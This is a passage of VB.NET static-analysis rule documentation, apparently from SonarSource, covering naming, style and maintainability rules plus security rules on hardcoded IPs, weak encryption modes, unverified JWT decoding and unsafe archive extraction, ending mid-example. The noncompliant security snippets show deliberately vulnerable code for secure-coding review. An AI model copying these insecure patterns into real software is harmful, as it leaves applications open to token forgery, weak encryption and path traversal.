
The default configuration is:

  • Optionally, can start with an underscore character or "s_", e.g. foo, sfoo
  • Camel casing, starting with a lower case character, e.g. backColor
  • Short abbreviations of 2 letters can be capitalized only when not at the beginning, e.g. "id" in productID
  • Longer abbreviations need to be lower cased, e.g. html

Noncompliant Code Example

With the default regular expression ^(s_|_)?[a-z][a-z0-9]*([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Class Foo
    Private Shared ReadOnly Foo As Integer  ' Noncompliant
End Class

Compliant Solution

Class Foo
    Private Shared ReadOnly foo As Integer  ' Compliant
End Class
vbnet:S3693

It may be a good idea to raise an exception in a constructor if you're unable to fully flesh the object in question, but not in an exception constructor. If you do, you'll interfere with the exception that was originally being thrown. Further, it is highly unlikely that an exception raised in the creation of an exception will be properly handled in the calling code, and the unexpected, unhandled exception will lead to program termination.

Noncompliant Code Example

Class MyException
    Inherits Exception

    Public Sub MyException()
        If bad_thing Then
            Throw New Exception("A bad thing happened")
        End If
    End Sub
End Class

Deprecated

This rule is deprecated, and will eventually be removed.

vbnet:S134

Nested If, Select, For, For Each, While, Do, and Try statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

Noncompliant Code Example

With the default threshold of 3:

If condition1 ' Compliant - depth = 1
  ' ...
  If condition2 ' Compliant - depth = 2
    ' ...
    For i = 0 to 10 ' Compliant - depth = 3, not exceeding the limit
      ' ...
      If condition4 ' Noncompliant - depth = 4
        If condition5 ' Depth = 5, exceeding the limit, but issues are only reported on depth = 4
          ' ...
        End If
        Return
      End If
    Next
  End If
End If
vbnet:S2362

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all Private Const field names comply with the provided regular expression.

The default configuration is:

  • Optionally, can start with an underscore character or "s_", e.g. foo, sfoo
  • Camel casing, starting with a lower case character, e.g. backColor
  • Short abbreviations of 2 letters can be capitalized only when not at the beginning, e.g. "id" in productID
  • Longer abbreviations need to be lower cased, e.g. html

Noncompliant Code Example

With the default regular expression ^(s_|_)?[a-z][a-z0-9]*([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Module Module1
    Private Const Foo = 0  ' Noncompliant
End Module

Compliant Solution

Module Module1
    Private Const foo = 0  ' Compliant
End Module
vbnet:S4144

When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other.

Noncompliant Code Example

Private Const CODE As String = "bounteous"
Private callCount As Integer = 0

Public Function GetCode() As String
  callCount = callCount + 1
  Return CODE
End Function

Public Function GetName() As String ' Noncompliant
  callCount = callCount + 1
  Return CODE
End Function

Compliant Solution

Private Const CODE As String = "bounteous"
Private callCount As Integer = 0

Public Function GetCode() As String
  callCount = callCount + 1
  Return CODE
End Function

Public Function GetName() As String
  Return GetCode()
End Function

Exceptions

Empty methods, methods with only one line of code and methods with the same name (overload) are ignored.

vbnet:S2365

Most developers expect property access to be as efficient as field access. However, if a property returns a copy of an array or collection, it will be much slower than a simple field access, contrary to the caller's likely expectations. Therefore, such properties should be refactored into methods so that callers are not surprised by unexpectedly poor performance.

Noncompliant Code Example

Module Module1
    ' Internal state
    Dim array = {"apple", "banana", "orange", "pineapple", "strawberry"}

    ReadOnly Property Foo() As String() ' Noncompliant
        Get
            Dim copy = array.Clone      ' Expensive call
            Return copy
        End Get
    End Property
End Module

Compliant Solution

Module Module1
    ' Internal state
    Dim array = {"apple", "banana", "orange", "pineapple", "strawberry"}

    Function GetFoo() As String()       ' Compliant
        Dim copy = array.Clone
        Return copy
    End Function
End Module
vbnet:S131

The requirement for a final Case Else clause is defensive programming.

This clause should either take appropriate action or contain a suitable comment as to why no action is taken.

Noncompliant Code Example

Select Case param ' Noncompliant - Case Else clause is missing
  Case 0
    DoSomething()
  Case 1
    DoSomethingElse()
End Select

Compliant Solution

Select Case param
  Case 0
    DoSomething()
  Case 1
    DoSomethingElse()
  Case Else ' Compliant
    DoSomethingElse()
End Select

See

vbnet:S2761

Calling the Not operator twice does nothing: the second invocation undoes the first. Either this is a bug, if the operator was actually meant to be called once, or misleading if done on purpose.

Noncompliant Code Example

Dim b As Boolean = False
Dim c As Boolean = Not Not b 'Noncompliant

Compliant Solution

Dim b As Boolean = False
Dim c As Boolean = b 'Compliant
vbnet:S3453

A class with only private constructors can't be instantiated, thus, it seems to be pointless code.

Noncompliant Code Example

Public Class [MyClass]
    Private Sub New() // Noncompliant
        ' ...
    End Sub
End Class

Compliant Solution

Public Class [MyClass]
    Private Sub New()
        ' ...
    End Sub
End Class

Exceptions

Classes that themselves access their private constructors (singletons or smart enums) are ignored. Classes with only static members are also ignored because they are covered by Rule S1118.

vbnet:S2364

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all Private field names match the provided regular expression.

Note that this rule does not apply to Private Shared ReadOnly fields, which are checked by another rule.

The default configuration is:

  • Optionally, can start with an underscore character or "s_", e.g. foo, sfoo
  • Camel casing, starting with a lower case character, e.g. backColor
  • Short abbreviations of 2 letters can be capitalized only when not at the beginning, e.g. "id" in productID
  • Longer abbreviations need to be lower cased, e.g. html

Noncompliant Code Example

With the default regular expression ^(s_|_)?[a-z][a-z0-9]*([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Class Foo
    Private Foo As Integer  ' Noncompliant
End Class

Compliant Solution

Class Foo
    Private foo As Integer  ' Compliant
End Class
vbnet:S2367

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all non-private Const field names comply with the provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower cased, e.g. GetHtml

Noncompliant Code Example

With the default regular expression ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Module Module1
    Public Const foo = 0  ' Noncompliant
End Module

Compliant Solution

Module Module1
    Public Const Foo = 0  ' Compliant
End Module
vbnet:S2366

Shared coding conventions allow teams to collaborate efficiently. This rule checks that property names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower cased, e.g. GetHtml

Noncompliant Code Example

With the default regular expression ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Module Module1
    Public Property foo As Integer   ' Noncompliant
End Module

Compliant Solution

Module Module1
    Public Property Foo As Integer   ' Compliant
End Module
vbnet:S2369

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all non-private fields names match a provided regular expression.

Note that this rule does not apply to non-private Shared ReadOnly fields, for which there is another rule.

The default configuration is:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower cased, e.g. GetHtml

Noncompliant Code Example

With the default regular expression ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Class Foo
    Public foo As Integer  ' Noncompliant
End Class

Compliant Solution

Class Foo
    Public Foo As Integer  ' Compliant
End Class
vbnet:S1313

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:

  • The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
  • It forces the same address to be used in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact.

Recommended Secure Coding Practices

  • make the IP address configurable.

Noncompliant Code Example

Dim ip = "192.168.12.42" ' Noncompliant
Dim address = IPAddress.Parse(ip)

Compliant Solution

Dim ip = ConfigurationManager.AppSettings("myapplication.ip") ' Compliant
Dim address = IPAddress.Parse(ip)

Exceptions

  • Although "::" is a valid IPv6 address, the rule doesn't report on it.
  • No issue is reported for 127.0.0.1 because loopback is not considered as sensitive

See

vbnet:S4787

Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities:

Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.

This rule flags function calls that initiate encryption/decryption.

Ask Yourself Whether

  • the private key might not be random, strong enough or the same key is reused for a long long time.
  • the private key might be compromised. It can happen when it is stored in an unsafe place or when it was transferred in an unsafe manner.
  • the key exchange is made without properly authenticating the receiver.
  • the encryption algorithm is not strong enough for the level of protection required. Note that encryption algorithms strength decreases as time passes.
  • the chosen encryption library is deemed unsafe.
  • a nonce is used, and the same value is reused multiple times, or the nonce is not random.
  • the RSA algorithm is used, and it does not incorporate an Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
  • the CBC (Cypher Block Chaining) algorithm is used for encryption, and it's IV (Initialization Vector) is not generated using a secure random algorithm, or it is reused.
  • the Advanced Encryption Standard (AES) encryption algorithm is used with an unsecure mode. See the recommended practices for more information.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Generate encryption keys using secure random algorithms.
  • When generating cryptographic keys (or key pairs), it is important to use a key length that provides enough entropy against brute-force attacks. For the Blowfish algorithm the key should be at least 128 bits long, while for the RSA algorithm it should be at least 2048 bits long.
  • Regenerate the keys regularly.
  • Always store the keys in a safe location and transfer them only over safe channels.
  • If there is an exchange of cryptographic keys, check first the identity of the receiver.
  • Only use strong encryption algorithms. Check regularly that the algorithm is still deemed secure. It is also imperative that they are implemented correctly. Use only encryption libraries which are deemed secure. Do not define your own encryption algorithms as they will most probably have flaws.
  • When a nonce is used, generate it randomly every time.
  • When using the RSA algorithm, incorporate an Optimal Asymmetric Encryption Padding (OAEP).
  • When CBC is used for encryption, the IV must be random and unpredictable. Otherwise it exposes the encrypted value to crypto-analysis attacks like "Chosen-Plaintext Attacks". Thus a secure random algorithm should be used. An IV value should be associated to one and only one encryption cycle, because the IV's purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts.
  • The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Galois/Counter Mode (GCM) with no padding should be preferred to the following combinations which are not secured:
    • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks.

Sensitive Code Example

Imports System
Imports System.Security.Cryptography

Namespace MyNamespace

    Public Class Class1

        Public Sub Main()

            Dim data As Byte() = {1, 1, 1}

            Dim myRSA As RSA = RSA.Create()
            Dim padding As RSAEncryptionPadding = RSAEncryptionPadding.CreateOaep(HashAlgorithmName.SHA1)

            ' Review all base RSA class' Encrypt/Decrypt calls
            myRSA.Encrypt(data, padding)  ' Sensitive
            myRSA.EncryptValue(data)      ' Sensitive
            myRSA.Decrypt(data, padding)  ' Sensitive
            myRSA.DecryptValue(data)      ' Sensitive

            Dim myRSAC As RSACryptoServiceProvider = New RSACryptoServiceProvider()
            ' Review the use of any TryEncrypt/TryDecrypt And specific Encrypt/Decrypt of RSA subclasses.
            myRSAC.Encrypt(data, False)    ' Sensitive
            myRSAC.Decrypt(data, False)    ' Sensitive

            Dim written As Integer
            myRSAC.TryEncrypt(data, Span<byte>.Empty, padding, out written) ' Sensitive
            myRSAC.TryDecrypt(data, Span<byte>.Empty, padding, out written) ' Sensitive

            Dim rgbKey As Byte() = {1, 2, 3}
            Dim rgbIV As Byte() = {4, 5, 6}
            Dim rijn = SymmetricAlgorithm.Create()

            ' Review the creation of Encryptors from any SymmetricAlgorithm instance.
            rijn.CreateEncryptor()   ' Sensitive
            rijn.CreateEncryptor(rgbKey, rgbIV)  ' Sensitive
            rijn.CreateDecryptor()  ' Sensitive
            rijn.CreateDecryptor(rgbKey, rgbIV)  ' Sensitive
        End Sub

        Public Class MyCrypto
            Inherits System.Security.Cryptography.AsymmetricAlgorithm ' Sensitive
            ' ...
        End Class

        Public Class MyCrypto2
            Inherits System.Security.Cryptography.SymmetricAlgorithm ' Sensitive
            ' ...
        End Class
    End Class
End Namespace

See

Deprecated

This rule is deprecated; use S5542 instead.

vbnet:S2368

Exposing methods with multidimensional array parameters requires developers to have advanced knowledge about the language in order to be able to use them. Moreover, what exactly to pass to such parameters is not intuitive. Therefore, such methods should not be exposed, but can be used internally.

Noncompliant Code Example

Module Module1
    Sub WriteMatrix(ByVal matrix As Integer()()) ' Non-Compliant
        ' ...
    End Sub
End Module

Compliant Solution

Class Matrix
    ' ...
End Class

Module Module1
    Sub WriteMatrix(ByVal matrix As Matrix)      ' Compliant
        ' ...
    End Sub
End Module
vbnet:S1226

While it is technically correct to assign to parameters from within method bodies, doing so before the parameter value is read is likely a bug. Instead, initial values of parameters should be, if not treated as readonly then at least read before reassignment.

Noncompliant Code Example

Module Module1
    Sub Foo(ByVal a As Integer)
        a = 42                  ' Noncompliant
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Foo(ByVal a As Integer)
        Dim tmp = a
        tmp = 42
    End Sub
End Module

Exceptions

ByRef parameters are ignored.

Module Module1
    Sub Foo(ByRef a As Integer)
        a = 42                  ' Ignored; it is a ByRef parameter
    End Sub
End Module
vbnet:S3889

Thread.Suspend and Thread.Resume can give unpredictable results, and both methods have been deprecated. Indeed, if Thread.Suspend is not used very carefully, a thread can be suspended while holding a lock, thus leading to a deadlock. Other safer synchronization mechanisms should be used, such as Monitor, Mutex, and Semaphore.

Noncompliant Code Example

Public Sub Foo()
    Thread.CurrentThread.Suspend() ' Noncompliant
    Thread.[Resume]() ' Noncompliant
End Sub

See

vbnet:S3923

Having all branches in a Select Case or If chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a Select Case / If chain at all.

Noncompliant Code Example

Dim b As Integer = If(a > 12, 4, 4)

If b = 0 Then
    DoTheThing()
Else
    DoTheThing()
End If

Select Case i
    Case 1
        DoSomething()
    Case 2
        DoSomething()
    Case 3
        DoSomething()
    Case Else
        DoSomething()
End Select

Exceptions

This rule does not apply to If chains without Else-s, or to Select Case-es without Case Else clauses.

If b = 0 Then ' No issue, this could have been done on purpose to make the code more readable
    DoTheThing()
ElseIf
    DoTheThing()
End If
vbnet:S3926

Fields marked with System.Runtime.Serialization.OptionalFieldAttribute are serialized just like any other field. But such fields are ignored on deserialization, and retain the default values associated with their types. Therefore, deserialization event handlers should be declared to set such fields during the deserialization process.

This rule raises when at least one field with the System.Runtime.Serialization.OptionalFieldAttribute attribute is declared but one (or both) of the following event handlers System.Runtime.Serialization.OnDeserializingAttribute or System.Runtime.Serialization.OnDeserializedAttribute are not present.

Noncompliant Code Example

<Serializable>
Public Class Foo ' Noncompliant
    <OptionalField(VersionAdded:=2)>
    Private optionalField As Integer = 5
End Class

Compliant Solution

<Serializable>
Public Class Foo
    <OptionalField(VersionAdded:=2)>
    Private optionalField As Integer = 5

    <OnDeserializing>
    Private Sub OnDeserializing(ByVal context As StreamingContext)
        optionalField = 5
    End Sub

    <OnDeserialized>
    Private Sub OnDeserialized(ByVal context As StreamingContext)
    End Sub
End Class
vbnet:S3927

Serialization event handlers that don't have the correct signature will simply not be called, thus bypassing any attempts to augment the automated de/serialization.

This rule raises issue when a method marked with one of the following attributes is not private, does not return void, has type parameters, or does not have a single parameter of type System.Runtime.Serialization.StreamingContext:

  • System.Runtime.Serialization.OnSerializingAttribute
  • System.Runtime.Serialization.OnSerializedAttribute
  • System.Runtime.Serialization.OnDeserializingAttribute
  • System.Runtime.Serialization.OnDeserializedAttribute

Noncompliant Code Example

<Serializable>
Public Class Foo
    <OnSerializing>
    Public Sub OnSerializing(ByVal context As StreamingContext) ' Noncompliant should be private
    End Sub

    <OnSerialized>
    Private Function OnSerialized(ByVal context As StreamingContext) As Integer '  Noncompliant should return void
    End Function

    <OnDeserializing>
    Private Sub OnDeserializing() ' Noncompliant should have a single parameter of type StreamingContext
    End Sub

    <OnSerializing>
    Public Sub OnSerializing2(Of T)(ByVal context As StreamingContext) ' Noncompliant should have no type parameters
    End Sub

    <OnDeserialized>
    Private Sub OnDeserialized(ByVal context As StreamingContext, ByVal str As String) ' Noncompliant should have a single parameter of type StreamingContext
    End Sub
End Class

Compliant Solution

<Serializable>
Public Class Foo
    <OnSerializing>
    Private Sub OnSerializing(ByVal context As StreamingContext)
    End Sub

    <OnSerialized>
    Private Sub OnSerialized(ByVal context As StreamingContext)
    End Sub

    <OnDeserializing>
    Private Sub OnDeserializing(ByVal context As StreamingContext)
    End Sub

    <OnDeserialized>
    Private Sub OnDeserialized(ByVal context As StreamingContext)
    End Sub
End Class
vbnet:S1186

There are several reasons for a method not to have a method body:

  • It is an unintentional omission, and should be fixed.
  • It is not yet, or never will be, supported. In this case a NotSupportedException should be thrown.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.

Noncompliant Code Example

Sub DoSomething()
End Sub

Function DoSomething() As String
End Function

Compliant Solution

Sub DoSomething()
    ' Not implemented because of reason
End Sub

Function DoSomething() As String
    Throw New NotSupportedException
End Function

Exceptions

The following methods are ignored:

  • empty Overridable or MustOverride methods,
  • empty methods that override an MustOverride method,
  • empty overrides in test assemblies.
vbnet:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

If condition1 Then
    If condition2 Then ' Noncompliant
        ' ...
    End If
End If

Compliant Solution

If condition1 AndAlso condition2 Then
    ' ...
End If
vbnet:S4210

When an assembly uses Windows Forms (classes and interfaces from the System.Windows.Forms namespace) its entry point should be marked with the STAThreadAttribute to indicate that the threading model should be "Single-Threaded Apartment" (STA) which is the only one supported by Windows Forms.

This rule raises an issue when the entry point (Shared Sub Main method) of an assembly using Windows Forms is not marked as STA.

Noncompliant Code Example

Imports System.Windows.Forms

Public Class Foo
  Shared Sub Main()
    Dim winForm As Form = New Form
    Application.Run(winForm)
  End Sub
End Class

Compliant Solution

Imports System.Windows.Forms

Public Class Foo
  <STAThread()> Shared Sub Main()
    Dim winForm As Form = New Form
    Application.Run(winForm)
  End Sub
End Class
vbnet:S2551

Shared resources should not be used for locking as it increases the chance of deadlocks. Any other thread could acquire (or attempt to acquire) the same lock for another unrelated purpose.

Instead, a dedicated object instance should be used for each shared resource, to avoid deadlocks or lock contention.

The following objects are considered as shared resources:

  • Me
  • a Type object
  • a string literal
  • a string instance

Noncompliant Code Example

Public Sub MyLockingMethod()
    SyncLock Me 'Noncompliant
        ' ...
    End SyncLock
End Sub

Compliant Solution

Class MyClass
    Dim lockObj As New Object()

    Public Sub MyLockingMethod()
        SyncLock lockObj
            ' ...
        End SyncLock
    End Sub
End Class

See

Microsoft Documentation: Managed Threading Best Practices

vbnet:S5542

To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:

  • For block cipher encryption algorithms (like AES), the GCM (Galois Counter Mode) mode that works internally with zero/no padding scheme, is recommended. At the opposite, these modes and/or schemes are highly discouraged:
    • Electronic Codebook (ECB) mode is vulnerable because it doesn't provide serious message confidentiality: under a given key any given plaintext block always gets encrypted to the same ciphertext block.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is vulnerable to padding oracle attacks.
  • RSA encryption algorithm should be used with the recommended padding scheme (OAEP)

Noncompliant Code Example

AesManaged object with insecure mode:

Dim aes4 = New AesManaged With {
    .KeySize = 128,
    .BlockSize = 128,
    .Mode = CipherMode.ECB, ' Noncompliant
    .Padding = PaddingMode.PKCS7
}

RSACryptoServiceProvider object without OAEP padding:

Dim RSA1 = New RSACryptoServiceProvider()
Dim encryptedData = RSA1.Encrypt(dataToEncrypt, False) ' Noncompliant: OAEP Padding is not used (second parameter set to false)

Compliant Solution

AES with GCM mode with bouncycastle library:

Dim blockCipher As GcmBlockCipher = New GcmBlockCipher(New AesFastEngine()) ' Compliant
blockCipher.Init(True, New AeadParameters(New KeyParameter(secretKey), 128, iv, Nothing))

AES with GCM mode with AesGcm object:

Dim aesGcm = New AesGcm(key) ' Compliant

RSA with OAEP padding with RSACryptoServiceProvider object:

Dim RSA2 = New RSACryptoServiceProvider()
Dim encryptedData = RSA2.Encrypt(dataToEncrypt, True) ' Compliant: OAEP Padding is used (second parameter set to true)

See

vbnet:S1067

Complex boolean expressions are hard to read and so to maintain.

Noncompliant Code Example

With the default threshold value of 3

If ((condition1 AndAlso condition2) OrElse (condition3 AndAlso condition4)) AndAlso condition5) Then  'Noncompliant
  ...
End If

Compliant Solution

If ((MyFirstCondition() OrElse MySecondCondition()) AndAlso MyLastCondition()) Then
  ...
End If
vbnet:S1862

A chain of If/ElseIf statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to True.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

Noncompliant Code Example

If param = 1 Then
  OpenWindow()
ElseIf param = 2 Then
  CloseWindow()
ElseIf param = 1 Then ' Noncompliant
  MoveWindowToTheBackground()
End If

Compliant Solution

If param = 1 Then
  OpenWindow()
ElseIf param = 2 Then
  CloseWindow()
ElseIf param = 3 Then
  MoveWindowToTheBackground()
End If

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
vbnet:S2951

Visual Basic .NET, unlike many other programming languages, has no "fall-through" for its Select cases. Each case already has an implicit Exit Select as its last instruction. It therefore is redundant to explicitly add one.

Noncompliant Code Example

Module Module1
  Sub Main()
    Dim x = 0
    Select Case x
      Case 0
        Console.WriteLine("0")
        Exit Select                ' Noncompliant
      Case Else
        Console.WriteLine("Not 0")
        Exit Select                ' Noncompliant
    End Select
  End Sub
End Module

Compliant Solution

Module Module1
  Sub Main()
    Dim x = 0
    Select Case x
      Case 0                         ' Compliant
        Console.WriteLine("0")
      Case Else                      ' Compliant
        Console.WriteLine("Not 0")
    End Select
  End Sub
End Module
vbnet:S1172

Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same.

This rule raises an issue when a private procedure of a Class, Module or Structure takes a parameter without using it.

Noncompliant Code Example

Private Sub DoSomething(ByVal a As Integer, ByVal b as Integer) ' "b" is unused
    Compute(a)
End Sub

Private Function DoSomething2(ByVal a As Integer, ByVal b As Integer) As Integer ' "a" is unused
    Compute(b)
    Return b
End Function

Compliant Solution

Private Sub DoSomething(ByVal a As Integer)
    Compute(a)
End Sub

Private Function DoSomething2(ByVal b As Integer) As Integer
    Compute(b)
    Return b
End Function

Exceptions

This rule doesn't raise any issue in the following contexts:

  • Procedures decorated with attributes.
  • Empty procedures.
  • Procedures which only throw NotImplementedException.
  • Main methods.
  • virtual, override procedures.
  • Interface implementations.
  • Event handlers.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
vbnet:S2304

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all namespace names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Pascal casing, starting with an upper case character, e.g. Microsoft, System
  • Short abbreviations of 2 letters can be capitalized, e.g. System.IO
  • Longer abbreviations need to be lower cased

Noncompliant Code Example

With the default regular expression: ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?(\.([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2}))*$

Namespace foo  ' Noncompliant
End Namespace

Compliant Solution

Namespace Foo  ' Compliant
End Namespace
vbnet:S5659

If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.

  • Don't use none algorithm to sign or verify the validity of an algorithm.
  • Don't use a token without verifying its signature before.

Noncompliant Code Example

jwt-dotnet library:

Dim decodedtoken1 As String = decoder.Decode(token, secret, verify:= false) ' Noncompliant: signature should be verified

Dim decodedtoken2 As String = new JwtBuilder().
    WithSecret(secret).
    Decode(forgedtoken1) ' Noncompliant: signature should be verified

Compliant Solution

jwt-dotnet library:

Dim decodedtoken1 As String = decoder.Decode(forgedtoken1, secret, verify:= true) ' Compliant

Dim decodedtoken2 As String = new JwtBuilder().
    WithSecret(secret).
    MustVerifySignature().
    Decode(token) ' Compliant

See

vbnet:S2429

The ... = {} syntax is more compact, more readable and less error-prone.

Noncompliant Code Example

Module Module1
  Sub Main()
    Dim foo(1) As String   ' Noncompliant
    foo(0) = "foo"
    foo(1) = "bar"
  End Sub
End Module

Compliant Solution

Module Module1
  Sub Main()
    Dim foo = {"foo", "bar"}  ' Compliant
  End Sub
End Module
vbnet:S4201

There's no need to null test in conjunction with an TypeOf ... Is test. Nothing is not an instance of anything, so a null check is redundant.

Noncompliant Code Example

If (x IsNot Nothing And TypeOf x Is MyClass)
    ' ...
End If

If (x Is Nothing Or TypeOf x IsNot MyClass)
    ' ...
End If

Compliant Solution

If (TypeOf x Is MyClass)
    ' ...
End If

If (TypeOf x IsNot MyClass)
    ' ...
End If
vbnet:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

The headerFormat must end with an empty line if you want to have an empty line between the file header and the first line for your source file (using, namespace...).

For example, if you want the source file to look like this

' Copyright (c) SonarSource. All Rights Reserved. Licensed under the LGPL License.  See License.txt in the project root for license information.

namespace Foo
{
}

then the headerFormat parameter should end with an empty line like this

' Copyright (c) SonarSource. All Rights Reserved. Licensed under the LGPL License.  See License.txt in the project root for license information.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
vbnet:S3598

When declaring a Windows Communication Foundation (WCF) OperationContract method one-way, that service method won't return any result, not even an underlying empty confirmation message. These are fire-and-forget methods that are useful in event-like communication. Specifying a return type therefore does not make sense.

Noncompliant Code Example

<ServiceContract>
Interface IMyService
    <OperationContract(IsOneWay:=True)>
    Function SomethingHappened(ByVal parameter As Integer) As Integer ' Noncompliant
End Interface

Compliant Solution

<ServiceContract>
Interface IMyService
    <OperationContract(IsOneWay:=True)>
    Sub SomethingHappened(ByVal parameter As Integer)
End Interface

Exceptions

The rule doesn't report if OperationContractAttribute.AsyncPattern is set to true.

vbnet:S3358

Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing.

Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement.

Noncompliant Code Example

Public Function GetReadableStatus(job As Job) As String
    Return If(job.IsRunning, "Running", If(job.HasErrors, "Failed", "Succeeded")) ' Noncompliant
End Function

Compliant Solution

Public Function GetReadableStatus(job As Job) As String
    If job.IsRunning Then Return "Running"
    Return If(job.HasErrors, "Failed", "Succeeded")
End Function
vbnet:S2302

Because parameter names could be changed during refactoring, they should not be spelled out literally in strings. Instead, use NameOf(), and the string that's output will always be correct.

This rule raises an issue when any string in the Throw statement is an exact match for the name of one of the method parameters.

Noncompliant Code Example

Public Sub DoSomething(param As Integer, secondParam As String)
    If (param < 0)
        Throw New Exception("param") ' Noncompliant
    End If
    If secondParam is Nothing
      Throw New Exception("secondParam should be valid") ' Noncompliant
    End If
End Sub

Compliant Solution

Public Sub DoSomething(param As Integer, secondParam As String)
    If (param < 0)
        Throw New Exception(NameOf(param))
    End If
    If secondParam is Nothing
      Throw New Exception($"{NameOf(secondParam)} should be valid")
    End If
End Sub

Exceptions

  • The rule doesn't raise any issue when using VB.NET < 14.0.
  • When the parameter name is contained in a sentence inside the Throw statement string, the rule will raise an issue only if the parameter name is at least 5 characters long. This is to avoid false positives.
vbnet:S5042

Expanding archive files is security-sensitive. For example, expanding archive files has led in the past to the following vulnerabilities:

Applications that expand archive files (zip, tar, jar, war, 7z, ...) should verify the path where the archive's files are expanded and not trust blindly the content of the archive. Archive's files should not be expanded outside of the root directory where the archive is supposed to be expanded. Also, applications should control the size of the expanded data to not be a victim of Zip Bomb attack. Failure to do so could allow an attacker to use a specially crafted archive that holds directory traversal paths (e.g. ../../attacker.sh) or the attacker could overload the file system, processors or memory of the operating system where the archive is expanded making the target OS completely unusable.

This rule raises an issue when code handle archives. The goal is to guide security code reviews.

Ask Yourself Whether

  • there is no validation of the name of the archive entry
  • there is no validation of the effective path where the archive entry is going to be expanded
  • there is no validation of the size of the expanded archive entry
  • there is no validation of the ratio between the compressed and uncompressed archive entry

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Validate the full path of the extracted file against the full path of the directory where files are expanded:

  • the canonical path of the expanded file must start with the canonical path of the directory where files are extracted.
  • the name of the archive entry must not contain "..", i.e. reference to a parent directory.

Stop extracting the archive if any of its entries has been tainted with a directory traversal path.

Define and control the ratio between compressed and uncompress bytes.

Define and control the maximum allowed expanded file size.

Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold.

Sensitive Code Example

For Each entry As ZipArchiveEntry in archive.Entries
    ' entry.FullName could contain parent directory references ".." and the destinationPath variable could become outside of the desired path
    string destinationPath = Path.GetFullPath(Path.Combine(path, entry.FullName))
